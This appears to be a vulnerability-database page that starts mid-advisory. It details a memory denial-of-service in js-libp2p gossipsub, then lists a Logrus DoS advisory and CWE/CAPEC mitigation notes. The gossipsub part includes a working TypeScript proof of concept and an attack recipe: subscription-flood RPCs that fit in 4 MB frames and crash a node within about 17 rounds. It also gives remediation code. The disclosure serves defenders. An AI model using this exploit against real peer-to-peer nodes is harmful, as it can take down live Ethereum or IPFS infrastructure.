Set is NOT removed from this.topics\n} \n```\n\nAfter disconnect, `this.topics` retains N empty Sets, one per unique attacker topic. `stop()` (lines 575\u2013602) clears 12 data structures but not `this.topics`. Memory is leaked for the process lifetime.\n\nSecondary: the O(topics.size) synchronous scan in `removePeer` grows as `this.topics` accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects.\n\n#### Attack path                                      \n\n1. Attacker dials victim and opens a gossipsub stream.\n2. Score 0 \u003e `gossipThreshold = \u221210` thus subscriptions are processed immediately. No score check gates subscription handling.\n3. Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB.\n4. Victim\u0027s `handleReceivedRpc` calls `rpc.subscriptions.forEach(...)` \u2192 349,525 calls to `handleReceivedSubscription` -\u003e `this.topics` grows by 349,525 entries -\u003e ~89MB heap consumed -\u003e ~224ms event-loop blocked.\n5. Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat.\n6. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash.\n\n### PoC\n**Steps to reproduce** (confirmed unpatched at HEAD `9eb27be79`):\n\n```bash                                              \n$ git clone https://github.com/libp2p/js-libp2p.git\n$ cd js-libp2p                                         \n$ npm install                                          \n$ cd packages/gossipsub                                \n$ npx aegir build                                      \n$ node --experimental-vm-modules ../../node_modules/.bin/mocha \u0027dist/test/poc.js\u0027 --timeout 60000                                        \n```\n\nFile PoC:\n```typescript\n/* eslint-env mocha */\n\nimport { stop } from \u0027@libp2p/interface\u0027\nimport assert from \u0027node:assert\u0027\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { RPC } from \u0027../src/message/rpc.js\u0027\nimport { createComponents, connectPubsubNodes } from \u0027./utils/create-pubsub.js\u0027\nimport type { GossipSubAndComponents } from \u0027./utils/create-pubsub.js\u0027\n\n// Number of unique topics per attack RPC (for direct injection tests).\n// Chosen to demonstrate impact without LP-framing; the ENCODE test shows\n// how many actually fit in one 4 MB frame.\nconst UNIQUE_TOPICS_PER_RPC = 349_000\n\n// Build a protobuf-encoded RPC with N unique SUBSCRIBE entries.\n// Uses minimal 2-char topic strings (\"00\"..\"zz\") to maximise packing.\n// SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry.\n// Outer RPC field: tag+len \u2248 2 bytes -\u003e ~8 bytes total per subscription.\n// 4 MB / 8 bytes \u2248 524K subscriptions per frame.\nfunction buildSubscriptionFloodRpc (count: number): Uint8Array {\n  const subscriptions = Array.from({ length: count }, (_, i) =\u003e ({\n    subscribe: true,\n    // Sequential 6-char decimal topics: short but still unique\n    topic: i.toString().padStart(6, \u00270\u0027)\n  }))\n  return RPC.encode({ subscriptions, messages: [], control: undefined })\n}\n\n// Binary-search the exact number of unique 6-char topics that fit in 4 MB.\nfunction maxTopicsIn4MB (): number {\n  const MAX_LP_BYTES = 4 * 1024 * 1024\n  let lo = 1; let hi = 600_000\n  while (lo \u003c hi) {\n    const mid = (lo + hi + 1) \u003e\u003e 1\n    if (buildSubscriptionFloodRpc(mid).byteLength \u003c= MAX_LP_BYTES) {\n      lo = mid\n    } else {\n      hi = mid - 1\n    }\n  }\n  return lo\n}\n\ndescribe(\u0027PoC: Memory DoS via subscription flood of unique topics\u0027, function () {\n  this.timeout(60_000)\n\n  let victim: GossipSubAndComponents\n  let attacker: GossipSubAndComponents\n\n  beforeEach(async () =\u003e {\n    ;[victim, attacker] = await Promise.all([\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } })\n    ])\n    await connectPubsubNodes(victim, attacker)\n  })\n\n  afterEach(async () =\u003e {\n    await stop(\n      victim.pubsub, attacker.pubsub,\n      ...Object.values(victim.components),\n      ...Object.values(attacker.components)\n    )\n  })\n\n  it(\u0027FLOOD: unique topic subscriptions accumulate unboundedly in this.topics\u0027, () =\u003e {\n    const victimPubsub = victim.pubsub as any\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    const topicsBefore = victimPubsub.topics.size as number\n    const heapBefore = process.memoryUsage().heapUsed\n\n    // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC\n    // unique topics directly via handleReceivedSubscription (the exact function\n    // called synchronously from handleReceivedRpc for each decoded SubOpts entry).\n    const t0 = performance.now()\n    for (let i = 0; i \u003c UNIQUE_TOPICS_PER_RPC; i++) {\n      victimPubsub.handleReceivedSubscription(\n        { toString: () =\u003e attackerIdStr } as any,\n        `poc-sub-flood-${i.toString().padStart(6, \u00270\u0027)}`,\n        true\n      )\n    }\n    const elapsed = performance.now() - t0\n\n    const topicsAfter = victimPubsub.topics.size as number\n    const heapAfterBytes = process.memoryUsage().heapUsed\n    const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024)\n    const newTopics = topicsAfter - topicsBefore\n\n    console.log(`\\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`)\n    console.log(`[PoC] this.topics.size: ${topicsBefore} -\u003e ${topicsAfter} (grew by ${newTopics.toLocaleString()})`)\n    console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`)\n    console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`)\n    console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`)\n\n    // All unique topics must be present in the map \u2014 no dedup for unique strings\n    assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC,\n      `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`)\n\n    // Must be non-trivial heap growth\n    assert.ok(heapGrowthMB \u003e 20,\n      `expected \u003e20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`)\n  })\n\n  it(\u0027PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)\u0027, () =\u003e {\n    const victimPubsub = victim.pubsub as any\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    // Flood with unique topics\n    for (let i = 0; i \u003c UNIQUE_TOPICS_PER_RPC; i++) {\n      victimPubsub.handleReceivedSubscription(\n        { toString: () =\u003e attackerIdStr } as any,\n        `poc-persist-${i.toString().padStart(6, \u00270\u0027)}`,\n        true\n      )\n    }\n\n    const topicsBeforeDisconnect = victimPubsub.topics.size as number\n\n    // Simulate peer disconnect, this removes the peer ID from each Set but\n    // does NOT delete empty Sets from this.topics.\n    const tDisconnect = performance.now()\n    victimPubsub.removePeer(attacker.components.peerId)\n    const disconnectMs = performance.now() - tDisconnect\n\n    const topicsAfterDisconnect = victimPubsub.topics.size as number\n\n    console.log(`\\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`)\n    console.log(`[PoC] this.topics.size after  disconnect: ${topicsAfterDisconnect.toLocaleString()}`)\n    console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`)\n    console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -\u003e memory not freed`)\n\n    // Topics Map is unchanged in SIZE \u2014 empty Sets persist\n    assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect,\n      `this.topics.size should be unchanged after disconnect (empty Sets persist); ` +\n      `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`)\n\n    // removePeer O(N) scan should take non-trivial time with 349K entries\n    assert.ok(disconnectMs \u003e 5,\n      `expected removePeer to take \u003e5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`)\n\n    // Verify Sets are actually empty (peer removed from each)\n    let emptyCount = 0\n    for (const [, peers] of victimPubsub.topics) {\n      if ((peers as Set\u003cstring\u003e).size === 0) emptyCount++\n    }\n    assert.ok(emptyCount \u003e= UNIQUE_TOPICS_PER_RPC,\n      `expected \u2265${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`)\n  })\n\n  it(\u0027ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection\u0027, function () {\n    this.timeout(30_000)\n    const MAX_LP_BYTES = 4 * 1024 * 1024\n\n    // Find exact maximum with binary search\n    const maxCount = maxTopicsIn4MB()\n    const rpc = buildSubscriptionFloodRpc(maxCount)\n\n    const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4\n\n    console.log(`\\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`)\n    console.log(`[PoC] Serialised RPC size:              ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)\n    console.log(`[PoC] LP frame limit:                   ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`)\n    console.log(`[PoC] Fits in one frame:                ${rpc.byteLength \u003c= MAX_LP_BYTES ? \u0027YES \u2713\u0027 : \u0027NO \u2717\u0027}`)\n    console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`)\n    console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`)\n\n    assert.ok(rpc.byteLength \u003c= MAX_LP_BYTES,\n      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default \u2014 confirms no LP-level protection`)\n    assert.ok(maxCount \u003e 100_000,\n      `expected \u003e100K subscriptions per 4 MB frame, got ${maxCount}`)\n  })\n})\n```\n\n### Impact\n- **Availability (memory)**: single peer, ~68MB bandwidth -\u003e OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects.\n- **Availability (CPU)**: 224ms event-loop block per 4MB subscription RPC (synchronous `forEach`); grows with accumulated attack state.\n- **No score mitigation**: subscription processing has no score check and no score penalty for flooding.\n- **Affected deployments**: any node running `@libp2p/gossipsub` with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any `createLibp2p({ services: { pubsub: gossipsub() } })`.\n- **Partial mitigation only**: setting `opts.allowedTopics` caps growth to `allowedTopics.size` topics per attacker; does not fix the memory leak for allowed topics or the O(N) `removePeer` scan.\n\n### Suggested remediation\nDelete empty Sets on unsubscribe and disconnect:\n\n```typescript\n// handleReceivedSubscription\n} else {\n  topicSet.delete(from.toString())\n  if (topicSet.size === 0) this.topics.delete(topic)\n}\n\n// removePeer\nfor (const [topic, peers] of this.topics) {\n  peers.delete(id)\n  if (peers.size === 0) this.topics.delete(topic)\n}\n```\n\nClear `this.topics` in `stop()`:\n\n```typescript\nthis.topics.clear()\n```",
  "id": "GHSA-4f8r-922h-2vgv",
  "modified": "2026-06-11T14:06:22Z",
  "published": "2026-05-21T21:38:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-4f8r-922h-2vgv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46679"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-libp2p: Memory DoS via subscription flood of unique topics"
}

GHSA-4F99-4Q7P-P3GH

Vulnerability from github – Published: 2025-12-04 21:31 – Updated: 2026-01-21 16:20
VLAI
Summary
Logrus is vulnerable to DoS when using Entry.Writer()
Details

A denial-of-service vulnerability exists in github.com/sirupsen/logrus when using Entry.Writer() to log a single-line payload larger than 64KB without newline characters. Due to limitations in the internal bufio.Scanner, the read fails with "token too long" and the writer pipe is closed, leaving Writer() unusable and causing application unavailability (DoS). This affects versions < 1.8.3, 1.9.0, and 1.9.2. The issue is fixed in 1.8.3, 1.9.1, and 1.9.3+, where the input is chunked and the writer continues to function even if an error is logged.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sirupsen/logrus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sirupsen/logrus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.0"
            },
            {
              "fixed": "1.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.9.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sirupsen/logrus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.2"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.9.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-05T02:27:47Z",
    "nvd_published_at": "2025-12-04T19:16:05Z",
    "severity": "HIGH"
  },
  "details": "A denial-of-service vulnerability exists in github.com/sirupsen/logrus when using Entry.Writer() to log a single-line payload larger than 64KB without newline characters. Due to limitations in the internal bufio.Scanner, the read fails with \"token too long\" and the writer pipe is closed, leaving Writer() unusable and causing application unavailability (DoS). This affects versions \u003c 1.8.3, 1.9.0, and 1.9.2. The issue is fixed in 1.8.3, 1.9.1, and 1.9.3+, where the input is chunked and the writer continues to function even if an error is logged.",
  "id": "GHSA-4f99-4q7p-p3gh",
  "modified": "2026-01-21T16:20:52Z",
  "published": "2025-12-04T21:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sirupsen/logrus/issues/1370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sirupsen/logrus/pull/1376"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sirupsen/logrus/commit/6acd903758687c4a3db3c11701e6c414fcf1c1f7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mjuanxd/logrus-dos-poc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mjuanxd/logrus-dos-poc/blob/main/README.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sirupsen/logrus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sirupsen/logrus/releases/tag/v1.8.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sirupsen/logrus/releases/tag/v1.9.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sirupsen/logrus/releases/tag/v1.9.3"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMSIRUPSENLOGRUS-5564391"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Logrus is vulnerable to DoS when using Entry.Writer()"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.